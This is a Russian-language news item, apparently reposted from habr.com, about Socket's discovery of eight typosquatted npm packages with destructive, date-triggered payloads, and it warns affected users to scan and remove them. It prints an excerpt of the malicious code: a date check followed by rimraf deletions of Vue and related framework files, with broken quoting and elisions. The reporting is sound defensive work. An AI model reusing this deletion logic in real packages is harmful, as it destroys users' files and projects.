Специалисты компании Socket обнаружили в npm восемь вредоносных пакетов, которые могли уничтожать данные на системах пользователей. Их загрузили из репозитория более 6200 раз за два года.
В названиях пакетов использовался тайпсквоттинг, чтобы имитировать названия настоящих популярных инструментов экосистем React, Vue.js, Vite, Node.js и Quill:
js-bomb,
js-hood,
vite-plugin-bomb-extend,
vite-plugin-bomb,
vite-plugin-react-extend,
vite-plugin-vue-extend,
vue-plugin-bomb,
quill-image-downloader.
Вредоносная полезная нагрузка в пакете могла применяться для удаления файлов, умышленного повреждения данных и вывода зараженных систем из строя.
«Особую тревогу вызывает разнообразие векторов атак в этой кампании: от незаметного повреждения данных до агрессивного отключения системы и удаления файлов. Пакеты создавались для различных частей экосистемы JavaScript с использованием различных тактик», — отметили эксперты.
Полезные нагрузки активировались в соответствии с жёстко заданными системными датами и были предназначены для постепенного уничтожения файлов фреймворка, повреждения основных методов JavaScript и нарушения механизмов хранения данных в браузере.
import process from»child_process»; import{fileURLToPath}from»node:url»; import{dirname}from»node:path»; ….. // Using rimraf for cross-platform file deletion if (new Date(«2023/06/19 08:00:01»).getTime()<(new Date).getTime() && (new Date).getTime(){ // Dynamic path resolution const arr=__dirname.split(«\»); const key2=arr[arr.length-2]; const index2=__dirname.indexOf(key2); const node_modules=__dirname.slice(0,index2+key2.length)+»\»; // Target critical Vue.js components using rimraf for reliable deletion process.execSync(`rimraf ${node_modules}vue\dist`); process.execSync(`rimraf ${node_modules}vue-router\index.js`); process.execSync(`rimraf ${node_modules}ant-design-vue\index.js`); process.execSync(`rimraf ${node_modules}ant-design-vue\dist`); }, 1000) }
Они позволяли удалять файлы, связанные с Vue.js, повреждать основные функции JavaScript случайными данными, нарушать работу всех механизмов хранения данных в браузере с помощью продвинутой трёхфайловой атаки, осуществлять многофазные системные атаки, удалявшие файлы фреймворка Vue.js и принудительно отключавшие систему.
Некоторые из этих полезных нагрузок должны были срабатывать только в определённые даты в 2023 году, но в других случаях атака должна была стартовать в июле того же года и не имела даты завершения.
Хотя все даты активации уже прошли, но эксперты предупредили, что угроза сохраняется.
Всем, кто устанавливал любой из этих пакетов, рекомендуется выполнить сканирование системы и удалить их.
В 2022 году исследователи из Reversing Labs рассказали, что злоумышленники публикуют вредоносные npm-пакеты для кражи пользовательских данных с сайтов и приложений. При этом хакеры выбирают для атаки названия популярных пакетов, чтобы смутить пользователей и заставить скачать шпионское программное обеспечение вместо оригинального.
В том же году GitHub внедрил обязательное применение в репозитории NPM двухфакторной аутентификации к учётным записям разработчиков, сопровождающих пакеты с более чем 1 млн загрузок в неделю или используемых в качестве зависимости у более чем 500 пакетов.
Источник: habr.com